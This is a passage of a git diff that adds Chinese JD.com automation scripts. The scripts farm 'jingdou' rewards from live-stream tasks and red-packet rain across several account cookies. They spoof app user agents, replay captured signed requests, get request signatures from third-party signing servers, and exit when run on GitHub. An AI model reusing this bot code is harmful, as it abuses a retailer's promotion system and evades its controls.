+!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + if (!jdPandaToken) { + console.log('请填写Panda获取的Token,变量是PandaToken'); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + uuid = randomString(40) + + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await jdHealth() + await $.wait(15000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdHealth() { + $.bean = 0 + await getTaskList() + await sign() + message += `领奖完成,共计获得 ${$.bean} 京豆\n` + await showMsg(); +} + +function getTs() { + return new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`\n\n京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +// 开始看 +function getTaskList() { + let body = {"timestamp": new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000} + return new Promise(resolve => { + $.get(taskUrl("liveChannelTaskListToM", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.starLiveList) { + for (let key of Object.keys(data.data.starLiveList)) { + let vo = data.data.starLiveList[key] + if (vo.state !== 3) { + let authorId = (await getauthorId(vo.extra.liveId)).data.author.authorId + await superTask(vo.extra.liveId, authorId) + await awardTask("starViewTask", vo.extra.liveId) + } + } + } + console.log(`去做分享直播间任务`) + await shareTask() + await $.wait(1500); + await awardTask() + await $.wait(1500); + console.log(`去做浏览直播间任务`) + await viewTask() + await $.wait(1500); + await awardTask("commonViewTask") + await $.wait(1500); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function getauthorId(liveId) { + let functionId = `liveDetailV910` + let body = encodeURIComponent(JSON.stringify({"liveId":liveId,"fromId":"","liveList":[],"sku":"","source":"17","d":"","direction":"","isNeedVideo":1})) + let uuid = randomString(16) + // let sign = await getSign(functionId, decodeURIComponent(body), uuid) + let sign = await getSignfromPanda(functionId, body) + let url = `https://api.m.jd.com/client.action?functionId=${functionId}&build=167774&client=apple&clientVersion=10.1.0&uuid=${uuid}&${sign}` + return new Promise(resolve => { + $.post(taskPostUrl(functionId, body, url), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +async function superTask(liveId, authorId) { + let functionId = `liveChannelReportDataV912` + let body = encodeURIComponent(JSON.stringify({"liveId":liveId,"type":"viewTask","authorId":authorId,"extra":{"time":60}})) + let uuid = randomString(16) + // let sign = await getSign(functionId, decodeURIComponent(body), uuid) + let sign = await getSignfromPanda(functionId, body) + let url = `https://api.m.jd.com/client.action?functionId=${functionId}&build=167774&client=apple&clientVersion=10.1.0&uuid=${uuid}&${sign}` + return new Promise(resolve => { + $.post(taskPostUrl(functionId, body, url), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function viewTask() { + let body = 'body=%7B%22liveId%22%3A%223008300%22%2C%22type%22%3A%22viewTask%22%2C%22authorId%22%3A%22644894%22%2C%22extra%22%3A%7B%22time%22%3A120%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=194&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&sign=90e14adc21c4bf31232a1ded5f4ba40e&st=1607561111999&sv=111&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' + return new Promise(resolve => { + $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function shareTask() { + let body = 'body=%7B%22liveId%22%3A%222995233%22%2C%22type%22%3A%22shareTask%22%2C%22authorId%22%3A%22682780%22%2C%22extra%22%3A%7B%22num%22%3A1%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=Y&joycious=194&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&screen=1242%2A2208&sign=457d557a0902f43cbdf9fb735d2bcd64&st=1607559819969&sv=110&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' + return new Promise(resolve => { + $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function awardTask(type="shareTask", liveId = '2942545') { + let body = {"type":type,"liveId":liveId} + return new Promise(resolve => { + $.post(taskUrl("getChannelTaskRewardToM", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === "0") { + $.bean += data.sum + console.log(`任务领奖成功,获得 ${data.sum} 京豆`); + message += `任务领奖成功,获得 ${data.sum} 京豆\n` + } else { + console.log(`任务领奖失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function sign() { + return new Promise(resolve => { + $.get(taskUrl("getChannelTaskRewardToM", {"type":"signTask","itemId":"1"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === "0") { + $.bean += data.sum + console.log(`签到领奖成功,获得 ${data.sum} 京豆`); + message += `任务领奖成功,获得 ${data.sum} 京豆\n` + } else { + console.log(`任务领奖失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getSign(functionid, body, uuid) { + return new Promise(async resolve => { + let data = { + "functionId":functionid, + "body":body, + "uuid":uuid, + "client":"apple", + "clientVersion":"10.1.0" + } + let Host = "" + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + if (process.env.SIGN_URL) { + Host = process.env.SIGN_URL + } else { + Host = HostArr[Math.floor((Math.random() * HostArr.length))] + } + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 15000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = {}, url=null) { + if (url && (function_id === "liveChannelReportDataV912" || function_id === "liveDetailV910")) body = `body=${body}` + if(!url) url = `https://api.m.jd.com/client.action?functionId=${function_id}` + return { + url: url, + body: body, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Referer": "", + "Cookie": cookie, + "Origin": "https://h5.m.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded', + "Content-Length": "996", + "User-Agent": "JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)", + "Accept-Language": "zh-Hans-CN;q=1", + "Accept-Encoding": "gzip, deflate, br" + } + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=h5-live&body=${encodeURIComponent(JSON.stringify(body))}&v=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}&uuid=${uuid}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + 'Content-Type': 'application/x-www-form-urlencoded', + "Cookie": cookie, + "Origin": "https://cfe.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://cfe.m.jd.com/privatedomain/live-boborock/20210809/index.html", + "Accept-Language": "zh-cn", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function randomString(e) { + let t = "0123456789abcdef" + if (e == 16) { + t = "0123456789abcdefghijklmnopqrstuvwxyz" + } + e = e || 32; + let a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_live_redrain.js b/jd_live_redrain.js new file mode 100644 index 0000000..009b460 --- /dev/null +++ b/jd_live_redrain.js @@ -0,0 +1,356 @@ +/* +超级直播间红包雨 +更新时间:2021-06-24 +下一场超级直播间时间:06月25日 20:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4515551 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#超级直播间红包雨 +0,30 0-23/1 * * * jd_live_redrain.js, tag=超级直播间红包雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +==============Loon============== +[Script] +cron "0,30 0-23/1 * * *" script-path=jd_live_redrain.js,tag=超级直播间红包雨 +================Surge=============== +超级直播间红包雨 = type=cron,cronexp="0,30 0-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain.js +===============小火箭========== +超级直播间红包雨 = type=cron,script-path=jd_live_redrain.js, cronexpr="0,30 0-23/1 * * *", timeout=3600, enable=true +*/ +const $ = new Env('超级直播间红包雨'); +let allMessage = '', id = 'RRA2cUocg5uYEyuKpWNdh4qE4NW1bN2'; +let bodyList = {"6":{"url":"https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1625294597071&sign=55a8f9c9bc715d89fb3e4443b80d8f26&sv=111","body":"body=%7B%22liveId%22%3A%224586031%22%7D"}} +let ids = {} +for (let i = 0; i < 24; i++) { + ids[i] = id; +} +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + console.log('下一场超级直播间时间:06月25日 20:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4508223') + $.newAcids = []; + await getRedRain(); + + let nowTs = new Date().getTime() + if (!($.st <= nowTs && nowTs < $.ed)) { + $.log(`\n远程红包雨配置获取错误,尝试从本地读取配置`); + $.http.get({url: `https://purge.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json`}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + let hour = (new Date().getUTCHours() + 8) % 24; + let redIds = await getRedRainIds(); + if (!redIds) redIds = await getRedRainIds('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json'); + $.newAcids = [...(redIds || [])]; + if ($.newAcids && $.newAcids.length) { + $.log(`本地红包雨配置获取成功,ID为:${JSON.stringify($.newAcids)}\n`) + } else { + $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) + return + } + // if (ids[hour]) { + // $.activityId = ids[hour] + // $.log(`本地红包雨配置获取成功,ID为:${$.activityId}\n`) + // } else { + // $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) + // $.log(`非红包雨期间出现上面提示请忽略。红包雨期间会正常,此脚本提issue打死!!!!!!!!!!!)`) + // return + // } + } else { + $.log(`远程红包雨配置获取成功`) + } + for (let id of $.newAcids) { + // $.activityId = id; + if (!id) continue; + console.log(`\n今日${new Date().getHours()}点ID:${id + }\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let nowTs = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 + // console.log(nowTs, $.startTime, $.endTime) + // await showMsg(); + if (id) await receiveRedRain(id); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getRedRain() { + let body + if (bodyList.hasOwnProperty(new Date().getDate())) { + body = bodyList[new Date().getDate()] + } else { + return + } + return new Promise(resolve => { + $.post(taskGetUrl(body.url, body.body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.iconArea) { + // console.log(data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery').length && data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery')[0].data.lotteryId) + let act = data.data.iconArea.filter(vo => vo['type'] === "platform_red_packege_rain")[0] + if (act) { + let url = act.data.activityUrl + $.activityId = url.substr(url.indexOf("id=") + 3); + $.newAcids.push($.activityId); + $.st = act.startTime + $.ed = act.endTime + console.log($.activityId) + + console.log(`下一场红包雨开始时间:${new Date($.st)}`) + console.log(`下一场红包雨结束时间:${new Date($.ed)}`) + } else { + console.log(`\n暂无超级直播间红包雨`) + } + } else { + console.log(`\n暂无超级直播间红包雨`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveRedRain(actId) { + return new Promise(resolve => { + const body = { actId }; + $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === '0') { + console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) + // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` + message += `领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } else if (data.subCode === '8') { + console.log(`领取失败:本场已领过`) + message += `领取失败,本场已领过`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskGetUrl(url, body) { + return { + url: url, + body: body, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function taskPostUrl(function_id, body = body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}`, + body: body, + headers: { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167408 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + //"Cookie": cookie, + } + } +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": 